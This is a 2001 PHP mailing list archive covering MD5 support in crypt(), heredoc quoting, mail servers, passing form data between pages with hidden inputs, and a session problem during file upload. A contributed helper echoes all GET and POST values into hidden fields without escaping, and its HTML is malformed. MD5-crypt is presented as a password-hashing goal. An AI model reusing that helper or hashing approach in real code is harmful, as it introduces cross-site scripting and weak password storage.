not sure if you've gotten any help on this yet. perhaps test the CRYPT_SALT_LENGTH and CRYPT_MD5 constants to make sure that your system and compiled php support md5 via crypt(). also, what salts did you try? note the comments at the bottom of http://php.net/manual/en/function.crypt.php about double-quoting $1$ and how it may be interpreted and how to escape the $ characters. also, i'm not sure if you need a $ character at the end of the salt string like in some of the examples on those comments or not. unfortunately, i don't have a system with php running right now to test.
you may also want to investigate http://php.net/manual/en/ref.mhash.php depending on what kind of functionality you need. my guess is that crypt() would be suitable for you if it worked properly.
-tcl.
On Tue, 17 Jul 2001, Jeremy Hansen wrote:
>
> I'd like to use php to do what I'm able to do in perl.
>
> use String::Random;
> use Crypt::PasswdMD5;
>
> $foo = new String::Random;
>
> $rand = $foo->randpattern("ss");
>
> print "Type in your password: ";
>
> $password = <STDIN>;
>
> $hash = unix_md5_crypt($password,$rand);
>
> $salt = substr($hash,3,2);
>
> print "SUBSTR: $salt\n";
> print "HASH: $hash\n";
> print "SALT: $rand\n";
>
> print "Type in your password: ";
> $password_verify = <STDIN>;
>
> $hash_verify = unix_md5_crypt($password_verify,$salt);
>
> if ($hash eq $hash_verify) {
> print "Good to go!\n";
> print "HASH BEFORE: $hash\n";
> print "HASH AFTER: $hash_verify\n";
> } else {
> print "You fuckered it up!\n";
> print "HASH BEFORE: $hash\n";
> print "HASH AFTER: $hash_verify\n";
> }
>
> srv1:~$ ./crypt.pl
> Type in your password: password
> SUBSTR: Kd
> HASH: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> SALT: Kd
> Type in your password: password
> Good to go!
> HASH BEFORE: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> HASH AFTER: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
>
> I've looked at crypt() in php and it claims that if you pass it a salt
> that resembles $1$ format, it should generate an md5 type hash, but this
> doesn't seem to be the case for me. The crypt only looks at the first two
> characters of the salt, no matter what, so my salt never changes because
> it just seems $1.
>
> Thanks for explaining what I'm doing wrong.
>
> -jeremy
>
> --
> salad.
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
>
attached mail follows:
Well, I'm assuming, perhaps incorrectly that the perl modules I used derived its md5 capabilities from the system. I did see all the comments on the crypt() page and basically copied each one. When passing a md5 looking salt, crypt() doesn't seem to do anything special with it and my salt remains the same, first two character are taken like regular des.
How would I go about testing the CRYPT_SALT_LENGTH and CRYPT_MD5 constants.
Thanks -jeremy
On Tue, 17 Jul 2001, tc lewis wrote:
>
> not sure if you've gotten any help on this yet. perhaps test the
> CRYPT_SALT_LENGTH and CRYPT_MD5 constants to make sure that your system
> and compiled php support md5 via crypt(). also, what salts did you try?
> note the comments at the bottom of
> http://php.net/manual/en/function.crypt.php about double-quoting $1$ and
> how it may be interpreted and how to escape the $ characters. also, i'm
> not sure if you need a $ character at the end of the salt string like in
> some of the examples on those comments or not. unfortunately, i don't
> have a system with php running right now to test.
>
> you may also want to investigate http://php.net/manual/en/ref.mhash.php
> depending on what kind of functionality you need. my guess is that
> crypt() would be suitable for you if it worked properly.
>
> -tcl.
>
>
> On Tue, 17 Jul 2001, Jeremy Hansen wrote:
>
> >
> > I'd like to use php to do what I'm able to do in perl.
> >
> > use String::Random;
> > use Crypt::PasswdMD5;
> >
> > $foo = new String::Random;
> >
> > $rand = $foo->randpattern("ss");
> >
> > print "Type in your password: ";
> >
> > $password = <STDIN>;
> >
> > $hash = unix_md5_crypt($password,$rand);
> >
> > $salt = substr($hash,3,2);
> >
> > print "SUBSTR: $salt\n";
> > print "HASH: $hash\n";
> > print "SALT: $rand\n";
> >
> > print "Type in your password: ";
> > $password_verify = <STDIN>;
> >
> > $hash_verify = unix_md5_crypt($password_verify,$salt);
> >
> > if ($hash eq $hash_verify) {
> > print "Good to go!\n";
> > print "HASH BEFORE: $hash\n";
> > print "HASH AFTER: $hash_verify\n";
> > } else {
> > print "You fuckered it up!\n";
> > print "HASH BEFORE: $hash\n";
> > print "HASH AFTER: $hash_verify\n";
> > }
> >
> > srv1:~$ ./crypt.pl
> > Type in your password: password
> > SUBSTR: Kd
> > HASH: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > SALT: Kd
> > Type in your password: password
> > Good to go!
> > HASH BEFORE: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > HASH AFTER: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> >
> > I've looked at crypt() in php and it claims that if you pass it a salt
> > that resembles $1$ format, it should generate an md5 type hash, but this
> > doesn't seem to be the case for me. The crypt only looks at the first two
> > characters of the salt, no matter what, so my salt never changes because
> > it just seems $1.
> >
> > Thanks for explaining what I'm doing wrong.
> >
> > -jeremy
> >
> > --
> > salad.
> >
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > For additional commands, e-mail: php-general-help
lists.php.net
> > To contact the list administrators, e-mail: php-list-admin
lists.php.net
> >
> >
>
>
-- salad.
attached mail follows:
try: <php echo(CRYPT_SALT_LENGTH); ?> <php echo(CRYPT_MD5); ?>
or: <php echo constant("CRYPT_SALT_LENGTH"); ?> <php echo constant("CRYPT_MD5"); ?>
you should get output of 12 and 1 (not 2 and 0) if md5 is supported in crypt(), i think.
you compiled php on the system it's running on? if you used a binary rpm or something, and the system it was compiled on didn't support md5, then it won't work.
-tcl.
On Tue, 17 Jul 2001, Jeremy Hansen wrote:
>
> Well, I'm assuming, perhaps incorrectly that the perl modules I used
> derived its md5 capabilities from the system. I did see all the comments
> on the crypt() page and basically copied each one. When passing a md5
> looking salt, crypt() doesn't seem to do anything special with it and my
> salt remains the same, first two character are taken like regular des.
>
> How would I go about testing the CRYPT_SALT_LENGTH and CRYPT_MD5
> constants.
>
> Thanks
> -jeremy
>
> On Tue, 17 Jul 2001, tc lewis wrote:
>
> >
> > not sure if you've gotten any help on this yet. perhaps test the
> > CRYPT_SALT_LENGTH and CRYPT_MD5 constants to make sure that your system
> > and compiled php support md5 via crypt(). also, what salts did you try?
> > note the comments at the bottom of
> > http://php.net/manual/en/function.crypt.php about double-quoting $1$ and
> > how it may be interpreted and how to escape the $ characters. also, i'm
> > not sure if you need a $ character at the end of the salt string like in
> > some of the examples on those comments or not. unfortunately, i don't
> > have a system with php running right now to test.
> >
> > you may also want to investigate http://php.net/manual/en/ref.mhash.php
> > depending on what kind of functionality you need. my guess is that
> > crypt() would be suitable for you if it worked properly.
> >
> > -tcl.
> >
> >
> > On Tue, 17 Jul 2001, Jeremy Hansen wrote:
> >
> > >
> > > I'd like to use php to do what I'm able to do in perl.
> > >
> > > use String::Random;
> > > use Crypt::PasswdMD5;
> > >
> > > $foo = new String::Random;
> > >
> > > $rand = $foo->randpattern("ss");
> > >
> > > print "Type in your password: ";
> > >
> > > $password = <STDIN>;
> > >
> > > $hash = unix_md5_crypt($password,$rand);
> > >
> > > $salt = substr($hash,3,2);
> > >
> > > print "SUBSTR: $salt\n";
> > > print "HASH: $hash\n";
> > > print "SALT: $rand\n";
> > >
> > > print "Type in your password: ";
> > > $password_verify = <STDIN>;
> > >
> > > $hash_verify = unix_md5_crypt($password_verify,$salt);
> > >
> > > if ($hash eq $hash_verify) {
> > > print "Good to go!\n";
> > > print "HASH BEFORE: $hash\n";
> > > print "HASH AFTER: $hash_verify\n";
> > > } else {
> > > print "You fuckered it up!\n";
> > > print "HASH BEFORE: $hash\n";
> > > print "HASH AFTER: $hash_verify\n";
> > > }
> > >
> > > srv1:~$ ./crypt.pl
> > > Type in your password: password
> > > SUBSTR: Kd
> > > HASH: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > > SALT: Kd
> > > Type in your password: password
> > > Good to go!
> > > HASH BEFORE: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > > HASH AFTER: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > >
> > > I've looked at crypt() in php and it claims that if you pass it a salt
> > > that resembles $1$ format, it should generate an md5 type hash, but this
> > > doesn't seem to be the case for me. The crypt only looks at the first two
> > > characters of the salt, no matter what, so my salt never changes because
> > > it just seems $1.
> > >
> > > Thanks for explaining what I'm doing wrong.
> > >
> > > -jeremy
> > >
> > > --
> > > salad.
> > >
> > >
> > > --
> > > PHP General Mailing List (http://www.php.net/)
> > > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > > For additional commands, e-mail: php-general-help
lists.php.net
> > > To contact the list administrators, e-mail: php-list-admin
lists.php.net
> > >
> > >
> >
> >
>
> --
> salad.
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
>
attached mail follows:
On Tue, 17 Jul 2001, tc lewis wrote:
> > try: > <php echo(CRYPT_SALT_LENGTH); ?> > <php echo(CRYPT_MD5); ?> > > or: > <php echo constant("CRYPT_SALT_LENGTH"); ?> > <php echo constant("CRYPT_MD5"); ?> > > you should get output of 12 and 1 (not 2 and 0) if md5 is supported in > crypt(), i think. > > you compiled php on the system it's running on? if you used a binary rpm > or something, and the system it was compiled on didn't support md5, then > it won't work.
This I built from source. Hmm, if it uses system crpyt() then would using mcrypt libs help with this?
I'll try the above.
-jeremy
> -tcl.
>
>
> On Tue, 17 Jul 2001, Jeremy Hansen wrote:
>
> >
> > Well, I'm assuming, perhaps incorrectly that the perl modules I used
> > derived its md5 capabilities from the system. I did see all the comments
> > on the crypt() page and basically copied each one. When passing a md5
> > looking salt, crypt() doesn't seem to do anything special with it and my
> > salt remains the same, first two character are taken like regular des.
> >
> > How would I go about testing the CRYPT_SALT_LENGTH and CRYPT_MD5
> > constants.
> >
> > Thanks
> > -jeremy
> >
> > On Tue, 17 Jul 2001, tc lewis wrote:
> >
> > >
> > > not sure if you've gotten any help on this yet. perhaps test the
> > > CRYPT_SALT_LENGTH and CRYPT_MD5 constants to make sure that your system
> > > and compiled php support md5 via crypt(). also, what salts did you try?
> > > note the comments at the bottom of
> > > http://php.net/manual/en/function.crypt.php about double-quoting $1$ and
> > > how it may be interpreted and how to escape the $ characters. also, i'm
> > > not sure if you need a $ character at the end of the salt string like in
> > > some of the examples on those comments or not. unfortunately, i don't
> > > have a system with php running right now to test.
> > >
> > > you may also want to investigate http://php.net/manual/en/ref.mhash.php
> > > depending on what kind of functionality you need. my guess is that
> > > crypt() would be suitable for you if it worked properly.
> > >
> > > -tcl.
> > >
> > >
> > > On Tue, 17 Jul 2001, Jeremy Hansen wrote:
> > >
> > > >
> > > > I'd like to use php to do what I'm able to do in perl.
> > > >
> > > > use String::Random;
> > > > use Crypt::PasswdMD5;
> > > >
> > > > $foo = new String::Random;
> > > >
> > > > $rand = $foo->randpattern("ss");
> > > >
> > > > print "Type in your password: ";
> > > >
> > > > $password = <STDIN>;
> > > >
> > > > $hash = unix_md5_crypt($password,$rand);
> > > >
> > > > $salt = substr($hash,3,2);
> > > >
> > > > print "SUBSTR: $salt\n";
> > > > print "HASH: $hash\n";
> > > > print "SALT: $rand\n";
> > > >
> > > > print "Type in your password: ";
> > > > $password_verify = <STDIN>;
> > > >
> > > > $hash_verify = unix_md5_crypt($password_verify,$salt);
> > > >
> > > > if ($hash eq $hash_verify) {
> > > > print "Good to go!\n";
> > > > print "HASH BEFORE: $hash\n";
> > > > print "HASH AFTER: $hash_verify\n";
> > > > } else {
> > > > print "You fuckered it up!\n";
> > > > print "HASH BEFORE: $hash\n";
> > > > print "HASH AFTER: $hash_verify\n";
> > > > }
> > > >
> > > > srv1:~$ ./crypt.pl
> > > > Type in your password: password
> > > > SUBSTR: Kd
> > > > HASH: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > > > SALT: Kd
> > > > Type in your password: password
> > > > Good to go!
> > > > HASH BEFORE: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > > > HASH AFTER: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > > >
> > > > I've looked at crypt() in php and it claims that if you pass it a salt
> > > > that resembles $1$ format, it should generate an md5 type hash, but this
> > > > doesn't seem to be the case for me. The crypt only looks at the first two
> > > > characters of the salt, no matter what, so my salt never changes because
> > > > it just seems $1.
> > > >
> > > > Thanks for explaining what I'm doing wrong.
> > > >
> > > > -jeremy
> > > >
> > > > --
> > > > salad.
> > > >
> > > >
> > > > --
> > > > PHP General Mailing List (http://www.php.net/)
> > > > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > > > For additional commands, e-mail: php-general-help
lists.php.net
> > > > To contact the list administrators, e-mail: php-list-admin
lists.php.net
> > > >
> > > >
> > >
> > >
> >
> > --
> > salad.
> >
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > For additional commands, e-mail: php-general-help
lists.php.net
> > To contact the list administrators, e-mail: php-list-admin
lists.php.net
> >
> >
>
>
-- salad.
attached mail follows:
On Tue, 17 Jul 2001, tc lewis wrote:
> > try: > <php echo(CRYPT_SALT_LENGTH); ?> > <php echo(CRYPT_MD5); ?> > > or: > <php echo constant("CRYPT_SALT_LENGTH"); ?> > <php echo constant("CRYPT_MD5"); ?> > > you should get output of 12 and 1 (not 2 and 0) if md5 is supported in > crypt(), i think.
Yeah, I'm getting 2 and 0. Lame. What's the answer to this.
-jeremy
> you compiled php on the system it's running on? if you used a binary rpm
> or something, and the system it was compiled on didn't support md5, then
> it won't work.
>
> -tcl.
>
>
> On Tue, 17 Jul 2001, Jeremy Hansen wrote:
>
> >
> > Well, I'm assuming, perhaps incorrectly that the perl modules I used
> > derived its md5 capabilities from the system. I did see all the comments
> > on the crypt() page and basically copied each one. When passing a md5
> > looking salt, crypt() doesn't seem to do anything special with it and my
> > salt remains the same, first two character are taken like regular des.
> >
> > How would I go about testing the CRYPT_SALT_LENGTH and CRYPT_MD5
> > constants.
> >
> > Thanks
> > -jeremy
> >
> > On Tue, 17 Jul 2001, tc lewis wrote:
> >
> > >
> > > not sure if you've gotten any help on this yet. perhaps test the
> > > CRYPT_SALT_LENGTH and CRYPT_MD5 constants to make sure that your system
> > > and compiled php support md5 via crypt(). also, what salts did you try?
> > > note the comments at the bottom of
> > > http://php.net/manual/en/function.crypt.php about double-quoting $1$ and
> > > how it may be interpreted and how to escape the $ characters. also, i'm
> > > not sure if you need a $ character at the end of the salt string like in
> > > some of the examples on those comments or not. unfortunately, i don't
> > > have a system with php running right now to test.
> > >
> > > you may also want to investigate http://php.net/manual/en/ref.mhash.php
> > > depending on what kind of functionality you need. my guess is that
> > > crypt() would be suitable for you if it worked properly.
> > >
> > > -tcl.
> > >
> > >
> > > On Tue, 17 Jul 2001, Jeremy Hansen wrote:
> > >
> > > >
> > > > I'd like to use php to do what I'm able to do in perl.
> > > >
> > > > use String::Random;
> > > > use Crypt::PasswdMD5;
> > > >
> > > > $foo = new String::Random;
> > > >
> > > > $rand = $foo->randpattern("ss");
> > > >
> > > > print "Type in your password: ";
> > > >
> > > > $password = <STDIN>;
> > > >
> > > > $hash = unix_md5_crypt($password,$rand);
> > > >
> > > > $salt = substr($hash,3,2);
> > > >
> > > > print "SUBSTR: $salt\n";
> > > > print "HASH: $hash\n";
> > > > print "SALT: $rand\n";
> > > >
> > > > print "Type in your password: ";
> > > > $password_verify = <STDIN>;
> > > >
> > > > $hash_verify = unix_md5_crypt($password_verify,$salt);
> > > >
> > > > if ($hash eq $hash_verify) {
> > > > print "Good to go!\n";
> > > > print "HASH BEFORE: $hash\n";
> > > > print "HASH AFTER: $hash_verify\n";
> > > > } else {
> > > > print "You fuckered it up!\n";
> > > > print "HASH BEFORE: $hash\n";
> > > > print "HASH AFTER: $hash_verify\n";
> > > > }
> > > >
> > > > srv1:~$ ./crypt.pl
> > > > Type in your password: password
> > > > SUBSTR: Kd
> > > > HASH: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > > > SALT: Kd
> > > > Type in your password: password
> > > > Good to go!
> > > > HASH BEFORE: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > > > HASH AFTER: $1$Kd$T9I3jUnJvGy0Ekfg2VobM0
> > > >
> > > > I've looked at crypt() in php and it claims that if you pass it a salt
> > > > that resembles $1$ format, it should generate an md5 type hash, but this
> > > > doesn't seem to be the case for me. The crypt only looks at the first two
> > > > characters of the salt, no matter what, so my salt never changes because
> > > > it just seems $1.
> > > >
> > > > Thanks for explaining what I'm doing wrong.
> > > >
> > > > -jeremy
> > > >
> > > > --
> > > > salad.
> > > >
> > > >
> > > > --
> > > > PHP General Mailing List (http://www.php.net/)
> > > > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > > > For additional commands, e-mail: php-general-help
lists.php.net
> > > > To contact the list administrators, e-mail: php-list-admin
lists.php.net
> > > >
> > > >
> > >
> > >
> >
> > --
> > salad.
> >
> >
> > --
> > PHP General Mailing List (http://www.php.net/)
> > To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> > For additional commands, e-mail: php-general-help
lists.php.net
> > To contact the list administrators, e-mail: php-list-admin
lists.php.net
> >
> >
>
>
-- salad.
attached mail follows:
On Tue, 17 Jul 2001, Jeremy Hansen wrote: > On Tue, 17 Jul 2001, tc lewis wrote: > > try: > > <php echo(CRYPT_SALT_LENGTH); ?> > > <php echo(CRYPT_MD5); ?> > > > > or: > > <php echo constant("CRYPT_SALT_LENGTH"); ?> > > <php echo constant("CRYPT_MD5"); ?> > > > > you should get output of 12 and 1 (not 2 and 0) if md5 is supported in > > crypt(), i think. > > Yeah, I'm getting 2 and 0. Lame. What's the answer to this.
i'm not sure. i don't see any related configure flags or php.ini settings. it seems to work with standard redhat 7.1 linux (i'm assuming you're using some redhat-ish system, as i know you):
[tcl
jobo tcl]$ cat nog.php
#!/usr/bin/php
<?php echo(constant('CRYPT_SALT_LENGTH')); ?>
<?php echo("\n"); ?>
<?php echo(constant('CRYPT_MD5')); ?>
<?php echo("\n"); ?>
<?php echo(crypt('teststr', 'testsalt')); ?>
<?php echo("\n"); ?>
<?php echo(crypt('teststr', '$1$testsalt$')); ?>
<?php echo("\n"); ?>
[tcl
jobo tcl]$ ./nog.php
X-Powered-By: PHP/4.0.4pl1
Content-type: text/html
2
1
te4c1aD5wKOnM
$1$testsalt$W00xFyq3oO6fDqto9qMY00
[tcl
jobo tcl]$
any suggestions from the rest of the list?
you could try using the mhash library stuff instead. blah.
-tcl.
attached mail follows:
On Tue, 17 Jul 2001, tc lewis wrote:
> > On Tue, 17 Jul 2001, Jeremy Hansen wrote: > > On Tue, 17 Jul 2001, tc lewis wrote: > > > try: > > > <php echo(CRYPT_SALT_LENGTH); ?> > > > <php echo(CRYPT_MD5); ?> > > > > > > or: > > > <php echo constant("CRYPT_SALT_LENGTH"); ?> > > > <php echo constant("CRYPT_MD5"); ?> > > > > > > you should get output of 12 and 1 (not 2 and 0) if md5 is supported in > > > crypt(), i think. > > > > Yeah, I'm getting 2 and 0. Lame. What's the answer to this. > > i'm not sure. i don't see any related configure flags or php.ini > settings. it seems to work with standard redhat 7.1 linux (i'm assuming > you're using some redhat-ish system, as i know you):
This is confusing. I'm actually using rh6.2 on this particular install. Older glibc have something to do with crypt() implimentations?
thanks -jeremy
> [tcl
jobo tcl]$ cat nog.php
> #!/usr/bin/php
> <?php echo(constant('CRYPT_SALT_LENGTH')); ?>
> <?php echo("\n"); ?>
> <?php echo(constant('CRYPT_MD5')); ?>
> <?php echo("\n"); ?>
> <?php echo(crypt('teststr', 'testsalt')); ?>
> <?php echo("\n"); ?>
> <?php echo(crypt('teststr', '$1$testsalt$')); ?>
> <?php echo("\n"); ?>
> [tcl
jobo tcl]$ ./nog.php
> X-Powered-By: PHP/4.0.4pl1
> Content-type: text/html
>
> 2
> 1
> te4c1aD5wKOnM
> $1$testsalt$W00xFyq3oO6fDqto9qMY00
> [tcl
jobo tcl]$
>
> any suggestions from the rest of the list?
>
> you could try using the mhash library stuff instead. blah.
>
> -tcl.
>
>
>
-- salad.
attached mail follows:
Hi,
Can anyone tell me please what is the equivelant of this statement from perl, in PHP?
$variable = qq~a value with any "quotes" which doesnt need \'\'s~;
i use it to get away with all the s\lashes behind quotes. can anyone tell me how to do that in php?
Regards Hamed
attached mail follows:
you can't. at least the last time I wanted to you couldn't. I think Rasmus said it would require a lot of work in the parser...
If I'm wrong, I'll be very happy.
On Wed, 18 Jul 2001, Hamed wrote:
> Hi,
>
> Can anyone tell me please what is the equivelant of this statement from
> perl, in PHP?
>
> $variable = qq~a value with any "quotes" which doesnt need \'\'s~;
>
> i use it to get away with all the s\lashes behind quotes. can anyone tell me
> how to do that in php?
>
> Regards
> Hamed
>
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
>
attached mail follows:
$variable = <<<BLAH ""''""''""''""''""''"" BLAH;
On Wed, 18 Jul 2001, Hamed wrote:
> Hi, > > Can anyone tell me please what is the equivelant of this statement from > perl, in PHP? > > $variable = qq~a value with any "quotes" which doesnt need \'\'s~; > > i use it to get away with all the s\lashes behind quotes. can anyone tell me > how to do that in php? > > Regards > Hamed > > > > >
attached mail follows:
Me too. I've never had a problem with Postfix. It just dropped in in Sendmail's place and has worked wonderfully ever since. Great piece of software.
Mick
On Wed, 18 Jul 2001, Christopher Allen wrote:
> Also, postfix works fine for me...
>
>
> > On a side note, qmail has a wrapper that pretends to be sendmail. You can
> > overwrite the /bin/mail with it and it will behave and accept mail just
> like
> > sendmail, but send it through qmail-smtp.
> >
> > > - changed php.ini path -> qmail path
>
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
attached mail follows:
> Me too. I've never had a problem with Postfix. It just > dropped in in Sendmail's place and has worked wonderfully > ever since. Great piece of software.
I was led to believe Postfix is what Qmail evolved into?
Jason (running Postfix from day 1, no problems at all with it...)
-- Jason Murray jasonmmelbourneit.com.au Web Developer, Melbourne IT "Work now, freak later!"
attached mail follows:
No, they're two seperate things. In addition to being incredibly easy to install and configure, Postfix can be made fairly secure and it has a better (=more 'open') license of some kind.
Mick
On Wed, 18 Jul 2001, Jason Murray wrote:
> > Me too. I've never had a problem with Postfix. It just
> > dropped in in Sendmail's place and has worked wonderfully
> > ever since. Great piece of software.
>
> I was led to believe Postfix is what Qmail evolved into?
>
> Jason
> (running Postfix from day 1, no problems at all with it...)
>
> --
> Jason Murray
> jasonm
melbourneit.com.au
> Web Developer, Melbourne IT
> "Work now, freak later!"
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
-- Michael Hall mulga.com.au adminmulga.com.au ph/fax (+61 8) 8953 1442 ABN 94 885 174 814
attached mail follows:
What about registering some session variables? Sessions use cookies and/or URLs to propagate info across multiple pages. Not really secure, though, but they are easy to use.
Mick
On Wed, 18 Jul 2001, Tim Olsen wrote:
> Yeah, I had thought about using hidden inputs, but hidden inputs are not
> really hidden. They still exist on the HTML page, and although not visible
> in the browser, are visible in the code. This may not be cool if you have
> sensitive information that is passed, also if you have a lot of variables to
> pass, thats just a lot of hidden inputs to pass.
> Is there no other way to accomplish this? No built in function? I guess it
> makes sense that there is not, b/c the form submits the form and only the
> form variables. Thanks.
> -Tim
>
>
> ----Original Message Follows----
> From: David Robley <huntsman
www.nisu.flinders.edu.au>
> Reply-To: huntsman
www.nisu.flinders.edu.au
> To: "Tim Olsen" <mrtimo
hotmail.com>, php-general
lists.php.net
> Subject: Re: [PHP] passing variables from forms to the same page
> repetatively
> Date: Tue, 17 Jul 2001 16:13:41 +0930
>
> On Tue, 17 Jul 2001 15:41, Tim Olsen wrote:
> > People,
> > I have 4 forms in four seperate html pages included directly (no links
> > to includes) in the same .php file, i have it so all the form actions
> > is php.self, so when each form is submitted it goes on to display the
> > next form in line, using if and else statements, of course. I want to
> > be able to use variables created by the first form in the html part of
> > the last form. What is the best way to do this?
> >
> > So far, I can only use variables on the next page (form) that is
> > written out. After that those variables have no value. Is there some
> > way to submit all variables present and assigned with the submission of
> > each form? If I make the forms a seperate include file, instead of
> > having them in-line, how does this change the ways variables are passed
> > or submitted by each form? Thanks, - Tim
> > _________________________________________________________________
>
>
> If I understand what you are saying: those variables don't exist until
> you SUBMIT the form. You can demonstrate this by looping through and
> displaying your POST or GET vars at the beginning of the form and see
> what happens when you first open the page, and when it calls itself.
>
> And re-reading, I think what you may want is hidden fields. You want part
> one to call part 2, and retain values from part 1, etc? Echo the values
> into hidden fields in each step of the process.
>
> <INPUT TYPE=hidden NAME=whatever VALUE="<?php echo $whatever ?>">
>
> --
> David Robley Techno-JoaT, Web Maintainer, Mail List Admin, etc
> CENTRE FOR INJURY STUDIES Flinders University, SOUTH AUSTRALIA
>
> I always lie. In fact, I'm lying to you right now!
>
> _________________________________________________________________
> Get your FREE download of MSN Explorer at http://explorer.msn.com
>
>
> --
> PHP General Mailing List (http://www.php.net/)
> To unsubscribe, e-mail: php-general-unsubscribe
lists.php.net
> For additional commands, e-mail: php-general-help
lists.php.net
> To contact the list administrators, e-mail: php-list-admin
lists.php.net
-- Michael Hall mulga.com.au adminmulga.com.au ph/fax (+61 8) 8953 1442 ABN 94 885 174 814
attached mail follows:
On 17 Jul 01, at 0:11, Tim Olsen wrote:
> So far, I can only use variables on the next page (form) that is written > out. After that those variables have no value. Is there some way to submit
Investigate using <input type="hidden"> form tages - very useful for passing around additional args between pages/forms.
CYA, Dave
-----------------------------------------------------------------------
Outback Queensland Internet - Longreach, Outback Queensland - Australia
http://www.outbackqld.net.au mailto:dfreeman
outbackqld.net.au
-----------------------------------------------------------------------
attached mail follows:
This function that matt sent to automatically write hidden inputs is awesome. it works great. I am only using the first function. It's a great solution. thanks
----Original Message Follows----
From: "maatt" <kynaston
GREENEGGSANDyahoo.com>
To: php-general
lists.php.net
Subject: Re: [PHP] passing variables from forms to the same page
repetatively
Date: Tue, 17 Jul 2001 11:23:11 +0100
I was doing something similar just yesterday. Ended up with a little function to automatically write hidden <input>s for every variable that's submitted, whether posted or thru the url. Goes like this...
// put this somewhere in your form <?php print get_param_inputs(); ?>
// the function itself function get_param_inputs() { global $HTTP_GET_VARS, $HTTP_POST_VARS; $ret_str = ""; $params = array_merge($HTTP_GET_VARS, $HTTP_POST_VARS); foreach ($params as $k=>$v) { if (is_array($v)) { foreach($v as $kk=>$vv) { $ret_str .= '<input type="hidden" name="'."$k[$kk]".' value="'.$vv.'">'; } } else { $ret_str .= '<input type="hidden" name="'.$k.'" value="'.$v.'">'; } } return $ret_str; }
I also needed to append the variables to links on the same page (for page 1, page 2, page 3... type thing) so did this:
<a href="<?php print $PHP_SELF.get_param_query() ?>">link</a>
function get_param_query() { global $HTTP_GET_VARS, $HTTP_POST_VARS; $ret_str = ""; $params = array_merge($HTTP_GET_VARS, $HTTP_POST_VARS); $j = "?"; foreach ($params as $k=>$v) { if (is_array($v)) { foreach($v as $kk=>$vv) { $ret_str .= $j.urlencode("$k[$kk]=$vv"); $j = "&"; } } else { $ret_str .= $j.urlencode("$k=$v"); $j = "&"; } } return $ret_str; }
Won't work if you're nesting arrays within arrays, but I'm not a recursive type. Hope it helps,
Matt
"David Robley" <huntsman
www.nisu.flinders.edu.au> wrote in message
news:01071716134101.29979
www...
> On Tue, 17 Jul 2001 15:41, Tim Olsen wrote:
> > People,
> > I have 4 forms in four seperate html pages included directly (no links
> > to includes) in the same .php file, i have it so all the form actions
> > is php.self, so when each form is submitted it goes on to display the
> > next form in line, using if and else statements, of course. I want to
> > be able to use variables created by the first form in the html part of
> > the last form. What is the best way to do this?
> >
> > So far, I can only use variables on the next page (form) that is
> > written out. After that those variables have no value. Is there some
> > way to submit all variables present and assigned with the submission of
> > each form? If I make the forms a seperate include file, instead of
> > having them in-line, how does this change the ways variables are passed
> > or submitted by each form? Thanks, - Tim
> > _________________________________________________________________
>
>
> If I understand what you are saying: those variables don't exist until
> you SUBMIT the form. You can demonstrate this by looping through and
> displaying your POST or GET vars at the beginning of the form and see
> what happens when you first open the page, and when it calls itself.
>
> And re-reading, I think what you may want is hidden fields. You want part
> one to call part 2, and retain values from part 1, etc? Echo the values
> into hidden fields in each step of the process.
>
> <INPUT TYPE=hidden NAME=whatever VALUE="<?php echo $whatever ?>">
>
> --
> David Robley Techno-JoaT, Web Maintainer, Mail List Admin, etc
> CENTRE FOR INJURY STUDIES Flinders University, SOUTH AUSTRALIA
>
> I always lie. In fact, I'm lying to you right now!
-- PHP General Mailing List (http://www.php.net/) To unsubscribe, e-mail: php-general-unsubscribelists.php.net For additional commands, e-mail: php-general-help
lists.php.net To contact the list administrators, e-mail: php-list-admin
lists.php.net
_________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com
attached mail follows:
Hello all,
I'm having a heck of a time with a file uploader page. When I set method=post on the file uploader form, the PHP session is somehow corrupted during the upload, and any links made in the in the resulting page (photoupload.php) don't pass along the session even though they have the exact same PHPSESSID value.
================================================== //upload request page <FORM name="uploader" method="POST" ACTION="photoupload.php" onSubmit="return checkform();" ENCTYPE="multipart/form-data"> <input type="hidden" name="PHPSESSID" value="<? echo $PHPSESSID; ?>"> . . . [snip] </form>
==================================================
